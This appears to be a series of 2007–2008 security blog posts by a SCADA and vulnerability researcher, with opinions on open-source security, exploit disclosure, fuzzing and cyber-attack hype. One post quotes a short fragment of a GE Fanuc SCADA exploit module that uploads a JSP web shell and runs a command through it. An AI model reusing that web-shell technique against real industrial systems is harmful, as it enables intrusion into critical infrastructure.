Open Source Cliches of the Day

First it was ludicrous article Open source is dead long live open source (don't get me started about the notion that Open Source code is so good that it doesn't need support, put the crackpipe down!) and then Bejtlich Cited in Economist.

While kudos go out to Richard (and I'm quite jealous) about being cited in The Economist I wish it would have been about NSM and not Open Source:

One way for governments to do this [to become resilient to cyber attack], says Richard Bejtlich, a former digital-security officer with the United States Air Force who now works at GE, an American conglomerate, might be to make greater use of open-source software, the underlying source code of which is available to anyone to inspect and improve. To those outside the field of computer security, and particularly to government types, the idea that such software can be more secure than code that is kept under lock and key can be difficult to accept. But from web-browsers to operating systems to encryption algorithms, the more people can scrutinise a piece of code, the more likely it is that its weak spots will be found and fixed. It may be that open-source defence is the best preparation for open-source attack.

Besides being included in article on my non-favorite topic of late (cyber-anything makes me ill) I think Richard is repeating one (or maybe two) security cliches: the "more eyes mean greater security" and the oft-repeated negation of "security through security."

OpenBSD is not PHP.
Linux is not Apache.
Tomcat is not BIND.
Debian is not OpenSSH.
Fedora is not SELinux.
Firefox is not Ruby on Rails.

Each of these may or may not be "more secure" than the other--or compared to an individual development team within a vendor we know and love/hate.

Software security is about tools, talent, and techniques not whether code of open or closed. Developer culture and committed project leadership are what make software secure, not whether the code exposed to clueless masses to find security flaws. Furthermore, there is great diversity in code quality, development (and business/sponsorship) models among Open Source pojrects that make it very difficult to make these sort of generalizations about the security of Open Source, let alone the role of Open Source in "resisting a Cyberattack" and much better case could be made based about the Open Source network security toolset that Richard champions in thwarting attackers -- as opposed to the inherent robustness and integrity of the Open Source codebase. With the exception of the Intel community, how many government personnel (or their contractors) are spending time scrutinizing the Linux kernel source? Jakarta Struts?

Not too many, I would guess.

While I am certainly a huge advocate of Open Source (and have had the [mis]fortune of developing/operating Open Source-based security platforms performingcritical functionality within a large Enterprise to back it up) security would not be at the top of the list as the reason to develop on (or deploy) an Open Source stack. For me it is about control, customization, and cost. Probably in that order. Yes, transparency, can result in improved code security (meaning fewer vulnerabilities per line of code) and better decision making in terms of deciding when and whether to patch (if I can look at the diff I don't have to guess about the true impact of the cryptic Cisco/Microsoft advisory or worse) but this is only a potential that in many (perhaps) Open Source projects don't live up to in reality.

Literally Marinating in Vulnerabilities

Gunnar Peterson has an interesting blog which reflects his "asset focus", which I think is on target.

Money quote from The Economics of Finding and Fixing Vulnerabilities in Distributed Systems

Why does a talk on finding and fixing vulnerabilities start with valuing assets? The reason is that vulnerabilities are everywhere, we are literally marinating in them. Interesting vulnerabilities are attached to high value assets. In a world that quite literally presents us with too much information, we need screens to sift out what is worth paying attention to. You can run your vulnerability assessment tool of choice on your system, and come back with hundreds or thousands of vulnerabilities, but which ones should you pay attention to and act on? The first part of answering this question is asset value.

Web 2.0 Security You Can't Believe In

From Obama, McCain campaigns' computers hacked for policy data.

Obama is PHP (the horror, the horror). McCain in ASP.

As described by a Newsweek reporter with special access while working on a post-campaign special, workers in Obama's headquarters first detected what they thought was a computer virus that was trying to obtain users' personal information.

The next day, agents from the FBI and Secret Service came to the office and said, "You have a problem way bigger than what you understand ... you have been compromised, and a serious amount of files have been loaded off your system."

One of the sources told CNN the hacking into the McCain campaign computers occurred around the same time as the breach into those of Obama's campaign.

Representatives of the campaigns could not be reached for comment on the matter

As Sarah Palin would say: Thanks but No Thanks (for the GE Fanuc Exploit)

Although I thought about the feasibility of SCADA metasploit modules for the ICCP vulns (VU#190617 and others) I discovered back in 2006 but I didn't write the GE Fanuc Exploit on milw0rm.com

And truth be told (hanging my head in shame) I've never actually written an exploit for any of the vulns I've discovered and I don't do vuln work anymore.

I've been clean for almost 2 years now.

But these are amusing. Must have struck a nerve.

proxy.writeFile('franzshell.jsp', Rex::Text.encode_base64(jspshell,''),false)
sock.put("GET /infoAgentSrv/franzshell.jsp?cmd=c:\\blogfranz.exe HTTP/1.0\r\n\r\n")

This module exploits an API flaw in GE Fanuc SCADA software

'Author'         => [ 'Matthew Franz ' ],
'Version'        => '$Revision: 20081031 $',
'References'     =>
['CVE', '2008-0175'],
['URL', 'http://support.gefanuc.com/support/index?page=kbchannel&id=KB12460'],
['URL', 'http://www.tenablesecurity.com/training/'],
['URL', 'http://blogfranz.blogspot.com/'],

I was wondering why I saw an increase in referrals from milw0rm.com and why someone asked me if I wrote an exploit. But of course I was too busy worrying about the election to care.

So what happened with those TCP DoS Attacks?

In all the excitement in dealing with the kind folks at Countrywide (see ya!!) and Cook County (did I pay taxes yet) I missed all the excitement of those scary new TCP attacks.

Based on Fyodor's updates I guess not much. Another overly-hyped vulns that did not bring down the Internet? Or did I miss something.

God this makes me want to write some another vulnerability parody.

The Citect Exploit: A Week Later

I resisted the temptation last week but this article sent me over the edge

Desautels said he stands by the decision.

First the exploit will motivate people to patch by giving them a way to test their systems against the vulnerability, he said. Second, it will encourage SCADA software developers to write more secure code.

"I think releasing the exploit code was actually necessary," he said. "He's actually doing a free service. I would believe Kevin has actually reduced risk."

This is 2008 right? Spare us your simplistic 1998 BUGTRAQ arguments. Please. You can't be serious. This, like most vulnerability disclosures are all about the marketing and rattling the cages. There is nothing richer than consultant/researchers that have not clue about designing, developing, shipping, and supporting products spouting application security cliches that are easier said than done: "add security to your development process", "get rid of stack based overflows," "do security testing before your release."

The CORE disclosure was handled professionally, but this is amateur hour. But you knew that if you follow SCADASEC or read Kevin's adolescent rant.

And actually that was my key problem with the release. Not what was released, but how it was released. All the posturing. Listing all the impacted sites and end users? All the little sarcastic comments and the NRA-inspired rhetoric.

Release the exploit, fine. Not a bad thing. But spare us the bullshit, it just undermines your credibility.

Have 9/11 Analogies in Infosec become the new Godwin's Law?

Perhaps some may consider this blog blasphemous but I really think invoking 9/11 (and yes I remember it well, I went into work early that blue-sky-September morning to get ready for a concall with a Cisco EMBU team out in San Jose and after the 2nd tower was hit, a bunch of us went a conference room in Building 3 and watched the towers fall live then went home early to be with our families) has become tiresome and I've had it with infosec practitioners (or presidential candidates) invoking 9/11 for marketing (or political) purposes.

Curphey on Building vs. Breaking

True that

I have grown increasingly disillusioned with the information security industry and especially disillusioned with the application security industry (whatever that really is). Why? I will get onto the information security part where fluffy compliance and best practice culture seems to be gaining acceptance in future posts (probably after a few glasses of wine) but if we take the application security industry specifically then I personally find it is disappointing that after a decade of it being considered a discipline in it’s own right, it is still predominantly made up of breakers and not builders.

I, too, have had anxiety about much vuln work and that is why I'm not in the product/application security bidness anymore. And there is much in Linus's monkey comments that I found hard to disagree with. And bonus points for going after the OpenBSD crowd.

Finding your first vuln, crashing a PIX (or 7200 in IOS) is fun the first time, but bug hunting is ultimately a cheap thrill. And educating product teams to find their own bugs, change their processes, document and design products better is ultimately more rewarding.

Spaf on Security Through Obscurity

For a few years now, I've suspicious of folks that are quick to label something as "security through obscurity."

Not only has this become a robotic cliche (the only one I hate that is worse is so and so provides a "false sense of security"), obscurity often does provide you security (or at least reduces risk) so I was pleased to see some Sanity from Spaf

However, the usual intent behind the current use of the phrase “security through obscurity” is not correct. One goal of securing a system is to increase the work factor for the opponent, with a secondary goal of increasing the likelihood of detecting when an attack is undertaken. By that definition, obscurity and secrecy do provide some security because they increase the work factor an opponent must expend to successfully attack your system. The obscurity may also help expose an attacker because it will require some probing to penetrate the obscurity, thus allowing some instrumentation and advanced warning.

CPNI Secures the Internet

Wonder how much Fernando Gont got for writing this

This document aims to raise awareness about the many security threats based on the IP protocol, those that we are currently facing, and those we may still have to deal with in the future. It provides advice for the secure implementation of the IP, and also insights about the security aspects of the IP that may be of help to the Internet operations community.

And some profound statements like

Producing a secure TCP/IP implementation nowadays is a very difficult task partly
because of no single document that can serve as a security roadmap for the protocols.

Sure. Great. Uh huh. And it only took a year.

What next?

ARP?

How about Ethernet while you are it.

Oh no, definitely go for TCP.

At least we were spared with the details of another randomness bug? For now.

So based on the Dark Reading article I'm not sure how scared I should be, but if in doubt I'll go with what Tom P says. He might not know how to keep his Volvo full of gas, but he knows everything else.

(Full disclosure: I was a few minutes away from walking along I-70 yesterday not knowing where the hell the nearest High's was)

But the world didn't end with CA-2001-09 or TA04-111 (the link to the original UNIRAS advisory was gone) so I doubt everything will come crashing down in the coming weeks, but we can only hope.

How many calls for DNSSEC or IPv6 or something tomorrow? And once again, this one of those bugs that its unclear if it is as old as the hills or something revolutionary. And whether it is a design flaw or an implementation bug. And if it is a design flaw in the protocol then why is everyone fixing their implementations? And you if you look at the affected vendors in the CERT advisory. Drum roll.... Doesn't look like the advisory is updated cause Debian already out. No status or FreeBSD or OpenBSD? MIA, again. Will the BSD's be affected?

But I'm glad I'm neck-deep (and nearly drowning) in hell-ish compliance standards for the near term so I don't have to worry about any of these hard questions!

A Little Comic Relief for the Citect Weary

Well those bad boys from Argentina are at it again stirring up quite a June SCADASEC-L storm. I lost count at 50-60 messages. You know it's bad when folks start talking about type safe languages. And of course every classic SCADASEC-L thread has to have an *APOLOGY*.

Thank God I resubscribed.

But somebody better get Walt his blood pressure meds (I've been baiting that hook for months and I finally got a bite -- maybe I can reel in Joe on the next cast!) cause he is getting legal on their ass

I have said for a long time that I think this "nanny-nanny-boo-boo" vulnerability reporting is counterproductive and dangerous.

I further say that if as a result of Core releasing this vulnerability to the Associated Press, if a Citect system gets hacked and property damage occurs or lives are lost (which CAN happen) that the victims can pursue Core as well as Citect. specially since Core states that this vulnerability has not been previously exploited.

IANAL, but that's perilously close to inciting to commit a crime in my book.

Patience. Breath in. Breath out. Resisted the urge to quote some CORE's disclosure timeline, which I actually haven't read, but I can guess....

Hmm... Maybe Citect should sue Core. Oh wait Cisco tried that already.

But back to the title, this Onion article on Cheney is brilliant

WASHINGTON—Reports surfaced Tuesday that the New York–based Fox News Channel has obtained a tape which purportedly features another cryptic video message from U.S. vice president and known extremist Dick Cheney, widely regarded as the most feared man in America.

"We have analyzed the tape, and the voice on it matches up with earlier recordings of the vice president," said CIA spokesman George Little, who claimed the tape may contain valuable clues regarding the location of the elusive Cheney, who was last sighted in late 2005 along the border of Maryland and Virginia

"Though more specific details on his whereabouts have yet to emerge, we do know two things," Little added. "Dick Cheney is still alive, and he is out there somewhere."

Yikes, and I'm moving to Maryland real soon now.

Oh and if you are a visual learner (more fun if you've watched the 9/11 conspiracy theories on Youtube)

9/11 Conspiracy Theories 'Ridiculous,' Al Qaeda Says

PLA vs. SCADA

From China’s Cyber-Militia: Chinese hackers pose a clear and present danger to U.S. government and private-sector computer networks and may be responsible for two major U.S. power blackouts.

One prominent expert told National Journal he believes that China’s People’s Liberation Army played a role in the power outages. Tim Bennett, the former president of the Cyber Security Industry Alliance, a leading trade group, said that U.S. intelligence officials have told him that the PLA in 2003 gained access to a network that controlled electric power systems serving the northeastern United States. The intelligence officials said that forensic analysis had confirmed the source, Bennett said. “They said that, with confidence, it had been traced back to the PLA.” These officials believe that the intrusion may have precipitated the largest blackout in North American history, which occurred in August of that year. A 9,300-square-mile area, touching Michigan, Ohio, New York, and parts of Canada, lost power; an estimated 50 million people were affected

And Nmap cause the Florida blackout?

A second information-security expert independently corroborated Bennett’s account of the Florida blackout. According to this individual, who cited sources with direct knowledge of the investigation, a Chinese PLA hacker attempting to map Florida Power & Light’s computer infrastructure apparently made a mistake. “The hacker was probably supposed to be mapping the system for his bosses and just got carried away and had a ‘what happens if I pull on this’ moment.” The hacker triggered a cascade effect, shutting down large portions of the Florida power grid, the security expert said. “I suspect, as the system went down, the PLA hacker said something like, ‘Oops, my bad,’ in Chinese.”

And who has heard of Cybrinth or Stephen Spoonamore?

Stephen Spoonamore, CEO of Cybrinth, a cyber-security firm that works for government and corporate clients, said that Chinese hackers attempt to map the IT networks of his clients on a daily basis. He said that executives from three Fortune 500 companies, all clients, had document-stealing code planted in their computers while traveling in China, the same fate that befell Gutierrez.

I saw prove it. Show me the logs of an informed attacker demonstrating knowledge of their target device, protocol, or application. Not, random script-kiddie crap from Chinese Universities. Been there seen that -- as has anyone that has set up a honeynet.

Show me a journalist that has a clue on this topic.

Hat Tip: Marc Ambinder.

Where did you obtain your academic qualifications to make these statements, Mr. Aitel?

Dave Aitel wrote a must read editorial over on Security focus called Thinking Beyond the Ivory Towers

In the information-security industry, there are clear and vast gaps in the way academia interacts with professional researchers. While these gaps will be filled in due time, their existence means that security professionals outside the hallowed halls of colleges and universities need to be aware of the differences in how researchers and professionals think.

I saw firsthand this gap when my group at Cisco funded security research at some of the leading Computer Science (and even information security) programs (that should know better) in the nation. You'd be surprised how difficult it was to find 4-5 projects to fund a quarter.

Anecdotally, I saw an absolute lack of understanding by some doctoral students (and their well credentialed advisors) about which attacks (against protocols, for example, like basic concepts of the what sort access was needed to the network) were practical or even how they would go about conducting them. No clue. And all the formal methods and literature review meant nothing.

And all I needed was my lame English & History degree from Texas A&M to see that -- well and some experience developing (or even just running) an attack tool or two. Even script-kiddie knowledge would suffice.


BTW, the title comes from the comment from Dr. Neal Krawetz, PhD

Conveniance Laptops/Operating Systems in the Enterprise

In most of the [security] teams I've been a part of in large companies, the first step an engineer would do upon receipt of new hardware (whether lease or purchase) was to immediately purge the box of the official corporate (always Windows) install and install your own OS (typically some Linux flavor, but perhaps BSD). More recently, you might purchase you own hardware (often a Mac) possibly in clear violation of the corporate security policy.

If you needed a rationale, it was because the standard IT image didn't allow you to do your job. Yeah you might be able to build and run libdnet/libpcap based apps on Windows, but why would you want to. You needed the right network, development, and security tools -- which in an of themselves are most definitely a violation (that is if the policy applied to you, since you were special, you were a security genius!). A fringe benefit was that you were free of the nasty IT-installed agents that suck the life out of laptops and the corporate spyware monitoring your every move. Oh yeah, and you also were more up to date on security packages than the IT build.

So with NAC and other endpoint control regimes designed to stamp out these rogue systems, there is the real possibility of controlling access to campus or remote access networks to "supported systems." What is a passive aggressive security guy to do? Sure, there are ways to subvert these controls, but you want to do the right thing, sort of. It is one thing to simply ignore policies that really weren't designed for you in the first place. It is another to actively thwart countermeasures. And then there is stuff in between like reverse engineering the "software token" so that a Linux user can enjoy the benefits of hardware token free authentication that the Windows users enjoyed.

And no this last example wasn't me (I'm not smart or motivated enough) but you know who you are!

The "Invisible Threat" at the End of the Fiscal Year

It's hard not be cynical these days, especially when you see topics you have some knowledge of (or know the folks that are getting quoted) show up in the media. So the timing of the leaked/intentionally release "staged cyber attack" right before appropriation time makes a lot of sense. Get those earmarks while you still can. "Got to get them Dead Presidents" (to quote Tim Fite.)

From the CNN Story

The White House was briefed on the experiment, and DHS officials said they have since been working with the electric industry to devise a way to thwart such an attack.

"I can't say it [the vulnerability] has been eliminated. But I can say a lot of risk has been taken off the table," said Robert Jamison, acting undersecretary of DHS's National Protection and Programs Directorate.

Government sources said changes are being made to both computer software and physical hardware to protect power generating equipment. And the Nuclear Regulatory Commission said it is conducting inspections to ensure all nuclear plants have made the fix.

And from the AP Story (written by our old friend Ted Bridis, no doubt.)

President Bush's top telecommunications advisers concluded years ago that an organization such as a foreign intelligence service or a well-funded terror group "could conduct a structured attack on the electric power grid electronically, with a high degree of anonymity, and without having to set foot in the target nation." Ominously, the Idaho National Laboratory — which produced the new video — has described the risk as "the invisible threat.

Given that most people in the field know this sort of thing has always been possible, I'm curious why it has taken this long. Why now? Its been a month or two since the Black Hat press cycle? To me the fact that this experiment was leaked/released to the public is either a sign of immense vitality (things could never be better!) or extreme sickness for the SCADA Security community (the naysayers are questioning why so much money is being spent?) If I were forced to pick, I would go for the latter.

To me this attack is more interesting if taken more literally, meaning you don't try to make the stretch against large scale generation assets. How many large data centers have comparable generators and then there is HVAC. With all the focus on Power Grid security and Process Control Security, the folks over the Building Automation Systems are still back in the euphoric glory days of web services and the wonders of TCP/IP enabling embedded devices. If you think about comparable sort of HVAC equipment (or controllers) that are often directly connected to campus networks (nothing like seeing BacNet broadcasts when you sniff traffic on your switch port to make you feel warm and fuzzy.)

If the "risks have been taken off the table" then what is the point of the smoking generator? IMHO, the video was sort of a letdown. And the endgame is not nearly as interesting as the access requirements, components under attack, the messages getting sent, and specific sequence of events necessary to get there.

My Year at Digital Bond and Gifts that Keep On Giving

Although I have since sworn off fuzzing (I've been clean for quite some time, I promise) I was pleased to see that the small toolset I developed for fuzzing TPKT, COTP, and OSI protocols used by ICCP, MMS, and IEC61850 was released to vetted Digital Bond subscribers.

Bring on the clueless news stories.

Of course there were a lot of tragedy and comedy that happened behind the scenes (but none that trumped when the crappy Python fuzzer I wrote in CIAG back in 2002 was called "threat to national security" now that was truly a happy day and the tragedy? the frightening number of emails on the topic to various members of Cisco PSIRT arguing about whether or not said tool should ever see the light of day) that only a handful of folks will ever be privy to, but one of the more amusing anecdotes that is public (if you know the right google keywords) was when a private email I sent to board members of the UCA Foundation asking for contact information for a couple of the smaller SCADA vendors got posted their sharepoint site you can imagine the fun that was had by all end users started asking "what up with that?" to their vendors. And, no doubt, some heated emails were exchanged between myself and others. Ah, sweet memories.

RSnake vs. TQBF: As we used to say at Cisco, "Two Man Enter: One Man Leave"

Apart from the 4-packs of sparkling fruit drinks they had in San Jose, probably the best thing about working at Cisco was the online directory. Working at a large company that has a Notes based online directory, I really, really, really, really miss directory.cisco.com (I think that's what it was, but hey is it resolves, so it must exist as does my old workstation samara.cisco.com, woo-ho!).

Not only could you watch as ordinary "Software Engineers" became "Technical Leaders" (and you knew they were either a grade 11 or 12 by then and could then guess at their bonus percentile) there were pictures! So you could tell who was shooting for the stars when they replaced their first day digital camera picture (yes I was so happy to have left Southwestern Bell/SBC and at $54 the stock could only go up!) with an executive portrait in a suit and tie and the blueish Sears portrait studio style backdrop. And any directory.cisco.com blog entry would be incomplete without stories of the SPA engineer[s] that used curl-cron jobs (or whatever) during the "Hundred Year Flood" (the term Chambers gave to the big round of layoffs in the Spring of '01) to track which organizations and individuals we "impacted."

But back to the pictures! So much you could do with these pictures. During a "management transition" my cube-mate created javascript popups of our new boss all over his screen to let him know that our new boss was always watching him (and improving his productivity!). Other folks replaced their photo's with arbitrary URLs of their favorite movie characters. I sent out one of a crazy looking crypto program manager spoofed from misterx@cisco.com. Who was this Mr. X? What did he want? Those were the days. And that is what happens when you are in a overhead group with no revenue responsibilities or infrastructure to operate and maintain.

But the best were the cage matches. You picked (and printed out) a crusty old distinguished engineer that had the vagrant/professor look down and imaged him battling the VP/GM of some switching BU that looked like the bully that kicked your ass in 7th grade. And you watch them fighting, brawling, swinging, until one was left standing. And you would shout, "Two Man Enter: One Man Leave!"

* * *

Oh yeah if you are taking the day off (I haven't logged into the VPN once!) and are looking for a fun read, check out Robert Hansen Loses His Sh*t Over Google Gadgets. A classic cage match, Cisco Austin Building 3 style.

CVE-2007-4091 and the Lack of Actionable Info in Vulnerability Disclosures

I was going to blog on something more interesting tonight -- like Cormac McCarthy's Novel, The Road which I read in almost one sitting yesterday evening -- but I got distracted by the new rsync vulnerability disclosed last Wednesday which once again show how little useful information (from the point of view of an end user/administrator) shows up in the disclosures by either the vendors or the finders.

For example:

It still pays to have a look at open source projects.
rsync 2.6.9 contains two off by one stack overflows, one from which the target buffer is next to the
saved frame pointer.
The problematic function is f_name().
Obviously it expects a target buffer size
of MAXPATHLEN bytes. Otherwise
the size parameter calculation to
strlcpy() is wrong.
Lets have a look at f_name() calls within the two following pictures.
An offset is added to the fname buffer
which is of size MAXPATHLEN.
The offset is the stringlen of dir.root
plus one (due to the slash).
Within successfull_send(), the buffer
should be neighbor of the saved

And USN-500-1 is only slightly more useful:

Sebastian Krahmer discovered that rsync contained an off-by-one miscalculation when handling certain file paths. By creating a specially crafted tree of files and tricking an rsync server into processing them, a remote attacker could write a single NULL to stack memory, possibly leading to arbitrary code execution.

So this is only a server issue? In my state of exhaustion (had to work most of the weekend) I am more worried about attacks against the "client?" Like a more trusted centralized server pulling files from many more exposed (less trusted) server. So an attacker creaties a malicious path (greater than 1024) on a remote server (plus whatever else is needed...) to compromise the "rsync client" pulling from the servers? If I'm running rsync+ssh am I just as vulnerable? Is this only an rsyncd issue?

Of course most bug finders could give a shit about real access world issues that ultimately allow risk decisions to be made, and help folks that run systems must be upgraded immediately, which can wait? Or how does this vuln compare to others?
I'm not sure I buy the CVSS 6.8 in the NVD. The NVD entry says this is a pre-auth?

I think you get the point here. More questions than answers. Or do you just blindly update the .deb or RPM? So Ubuntu and Debian have updates out but doesn't look like this is in FreeBSD ports yet and nothing in CVS yet. And the rsync in OSX, can you say 2.6.3

Forget about it.

Minor Rant on Fuzzing

Bejtlich's Pre Review triggered some painful memories. Back when I was a teacher, I ran across two types of really bad papers: those that were so bad they were funny and those are those that are so bad they made you angry, really angry -- because they were wasting your time.

Last year, I had the misfortune of serving as a technical reviewer for the new Addison Wesley Fuzzing book. The manuscripts I read clearly fell into the into the second category. It just wasn't worth the $750 (or whatever it was they were going to pay me) to provide feedback and fill out the little forms, so I eventually quit responding to emails from the editors and a deleted all the copies of manuscripts I had in my possession. Now, to be honest, it wasn't just that the manuscripts were a lost cause that I gave up the endeavor. I did have a lot on my plate: trying to get my house on the market in Austin, finish up some projects for my last job, and figure out where the hell I was going to live in Chicago--and move two kids and two dogs cross country, without losing any of them in Oklahoma. Which almost happened.

But if I thought the book had any hope of being useful I probably would have found the time. Unfortunately, from the table of contents, it doesn't look like they fixed the book's structural flaws. Not only the did conceptual sequence not make much sense to me, the audience and purpose were always a mystery. But maye that was maybe because I didn't ever see the first section. I was never sure if it existed? Was it be written last? There was no clear driving purpose linking the content. Was the book targetting professional application security teams (Software Security is an example of one of these, a very useful book) or just a quick way for 3rd rate independent researchers to find a bug or two. It appeared to be the latter, which to me was a pointless exercise. Why invest time in writing (let along reading) a book on the topic of vulnerability testing that does not go beyond what you could find by downloading tools from Packet Storm.

Lastly, I wonder if they cleaned up annoying colloquial writing style that sounded like a transcript of a bad Black Hat talk (except what I assume were Pedram's Amini's chapters, the were fairly well written and had some original content as well) but I guess I'll never know. I'd love to hear these problems were fixed, but I'm certainly not going to spend good money on finding out myself.